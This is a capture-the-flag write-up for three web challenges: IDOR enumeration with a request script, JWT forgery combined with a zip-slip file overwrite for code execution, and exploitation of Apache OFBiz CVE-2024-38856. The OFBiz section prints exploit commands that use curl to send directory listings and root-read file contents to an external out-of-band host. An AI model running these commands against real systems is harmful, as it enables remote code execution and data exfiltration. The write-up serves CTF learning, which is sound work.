NOTE: This will be a brief write-up, so we will get straight to the heart of the matter without going into too much detail.
Frontier Guardian
Description: Come play and choose a hero to save the galaxy! Explore planets and fight aliens in this exciting space adventure.
Author: Kahang
First, we will access the application and perform some function - click on some character to find out what the application does. After a walk around the page, we can see that the application will show the character detail base on its id.
But 2 VIP character was locked, try to think outside the box:
"What will be happen if we change the id on the url?"
- With the first attempt, the server will notice that the character was locked and you doesn’t have permission to access.
- But we don’t give up easily, try to increase
id
again and again, we can see that the response from the server was changed? - What does that mean? What will continue to happen if we continue to increase the
id
?
- And on the
id 10
- the server now responds only 1 character. Continue to increase theid
and the response was changed. And now, increase the gap between each id increase: 20, 50, 100, … to find out the max id that still return only 1 character. And the maximumid
must be157
- Let’s write a simple python script to automatic send requests from
id
1-157 and retrieve the response.
import requests
res = []
def send(i):
burp0_url = f"http://challs.fia.io.vn:33030/characters/profile/{i}"
burp0_headers = {"Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
response = requests.get(burp0_url, headers=burp0_headers).text
res.append(response)
for _ in range(10, 158):
send(_)
print("".join(res))
- After collecting all the message, we can use some tool like
Cipher Identifier
to detect the cipher and decode it (It must be base64 encoded message)
FIA{1d0r_1s_v3ry_34sy_5BbMYyMlWY}
TML Treasure
Description: Trương Muỹ Lane sở hữu kho báu trị giá 27 tỉ đô, Trước khi vào tù bà ta đã để lại một lời nhắn: “Các ngươi muốn của cải của ta ư? Nếu muốn các ngươi hãy ra biển mà tìm. Ta để hết ngoài biển đấy!”. Good luck! 🍀
Author: 0nion
Original Solution
- First, we need to go around the page to check if there is any useful information for the challenge. And we got a HTML commented code in the login page that show the salt 1 (note this to use later).
- Next, we’ll trying to perform a fuzzing to find out all the files, path, directory exists on the server. And we got something like below:
- From the fuzzing result, it has a suspicious path is backups, trying to access this page and we got that
The backup file is store at /b4ckup.bak
.
- Access the real backup file and we got the second salt.
- The next one path in the fuzzing results is the secrets path. It’s seem like some thing very important but when we try to access this page, the server notice that “You’re not TreasureHunter, try again later”.
- We know that the
User-Agent
header will tell the server know what browser we use and may be the server check this header. And we attempt to change that header toTreasureHunter
then got the third salt.
- Now we need to take a deep dive into the application, let’s create an account and login into the application. We got something like “Only admin can access this page” and a cookie token.
With the cookie received, trying to decode it and we know that it’s a jwt token.
With 3 part of salt we found above, trying to verify the cookie to check that if we could manipulate the cookie
And boom, the secret key is correct.
- From there, we can try to sign new token with the secret key above.
- Access the admin page with the modified token.
- And yeah, we could access the admin page with the modified token and the admin page only have a form to upload a file.
- And we also have a source code, let’s analyze it. It’s might be contains some information that we could use in the here.
- From the source code, we know that the server will receive an zip file and then unzip it into the upload folder.
- Zipslip vuln in the unzip function.
- We need to write a new
checkstatus.py
file to upload and overwrite the original one.
- Use the slipit tool to create a zip slip vulnerability file with the rewrote
checkstatus.py
file
- Then upload the vulnerable zip file to the server.
- Now, in the check status function, it was replaced by our code, we could RCE and run the system command.
- Get the flag.
Unintended solution
- With the provided source code, we can find that the server will get the upload folder from the jwt token body value - something that we could manipulate earlier.
- We could change the jwt token body value of “upload_folder” directly to the
controls
folder to overwrite the original one.
- Write a new
checkstatus.py
file like the solution above, and also include all remain other files in the archive - because with the source code, the server will remove all files in theupload_folder
and we need to include the others files to ensure that the server won’t be crash.
- Upload the new zip file like the original solution and we got the same results.
FIA{You_found_the_27_billions_dollars_treasure_OycOoCTdIi}
NoWay - Directionlessness
Description: I stumbled upon this fantastic software, and wow, it’s been a real game-changer for me! Sure, I hit a few bumps along the way, but guess what? I called in my secret weapon — ChatGPT — and, boom, problem solved! Now it’s running smoother than ever. Note: challenge không lỗi, hoạt động bình thường nhé ~~
Author: nquangit (It’s me hehe)
Well well well, I’m sure everyone will feel quite uncomfortable with this challenge, it’s a bit of a puzzle. Let me satisfy you with this writeup.
At the beginning we have a URL, try to access but we get
404 Not Found
page. But the challenge note says that there is not an error so we need to dig deeper to see what happens
- The simplest and first step to any web attack challenge - is fuzzing.
ffuf -u https://noway.fia.io.vn:23023/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -k -r
- We try fuzzing and get some paths, but when we access we get a page that says
500 Internal Server Error
, read it more carefully and we notice that the current domain address is not in the list of allowed hosts.
- We can think of the case of changing the Host header field when sending a request and using an allowed host header: for example, the IP address.
nslookup noway.fia.io.vn
- In the image here you can see that I have accessed directly to the
"/webtools"
path, you may have accessed a different path and the content will be slightly different. However, we will definitely be taken to an ofbiz login page.
- With that login page information, we can completely OSINT this framework to find out if there is any default login information or any useful information?
- And from there we can find the path
"/webtools"
from which we can use this information to login.
- And then we’ll be able to log in to the admin page, but after a while of poking around we won’t find any useful information.
- And on this
ofbiz
page we have the version, from here we can search for their CVEs.
- You may get confused by many CVE results because here only the version is given without its patch. You can try many CVEs but here, the answer will be this:
CVE-2024-38856
- And of course, we can easily find a repo on github containing the code to test.
- But there is one special thing that the tools can run but not get results, as you can see in the image above that although the commands are executed successfully, the tool reports that the target is vulnerable.
# https://github.com/securelayer7/CVE-2024-38856_Scanner
python cve-2024-38856_Scanner.py -t https://171.244.21.26 -p 23023
- Referring to the description of this challenge, this code was edited by ChatGPT, it may have been fixed incorrectly. Try with a command to create an outbound connection.
Note: Since then I had a little confusion so the IP address is slightly different
- Try a simple curl command to the
interct.sh
server
python cve-2024-38856_Scanner.py -t https://10.10.10.32 -p 23023 -c "curl https://rduhjmobyweuefpnaphdea57ww9de6i5r.oast.fun" --exploit
- And we got the connection information, here we can be sure that the CVE has been fixed but instead of fixing it completely they
just hide the output
.
- From here we can use some commands to check the commands that exist on the system to be able to go deeper.
python cve-2024-38856_Scanner.py -t https://10.10.10.32 -p 23023 -c "which base64 && curl https://rduhjmobyweuefpnaphdea57ww9de6i5r.oast.fun" --exploit
- Here we can go with a simpler path, just send a post request with the command content.
python cve-2024-38856_Scanner.py -t https://10.10.10.32 -p 23023 -c "curl -X POST -d \"\$(ls /)\" https://rduhjmobyweuefpnaphdea57ww9de6i5r.oast.fun" --exploit
- After listing the root directory, we see a directory named flag, maybe the flag is in here.
- Continue using the above technique with simple linux commands to view the files inside this directory.
And there are two parts of the flag here, and we can also see that both files are root and only the first piece can be read.
For the second piece we need to have root access.
Here we can absolutely initialize a reverse shell to continue but I am a lazy pentester, I designed this challenge in an easier way.
Let’s check what the current user we have control over can do with the command:
sudo -l
- We have an executable /bin/more that can run as root without a password, the idea is simple. We just need to use it to read the rest.
python cve-2024-38856_Scanner.py -t https://10.10.10.32 -p 23023 -c "curl -X POST -d \"\$(sudo /bin/more /flag/*.txt)\" https://rduhjmobyweuefpnaphdea57ww9de6i5r.oast.fun" --exploit
FIA{f1x3d_cv3_4nd_linuxprivesc}
Leave a comment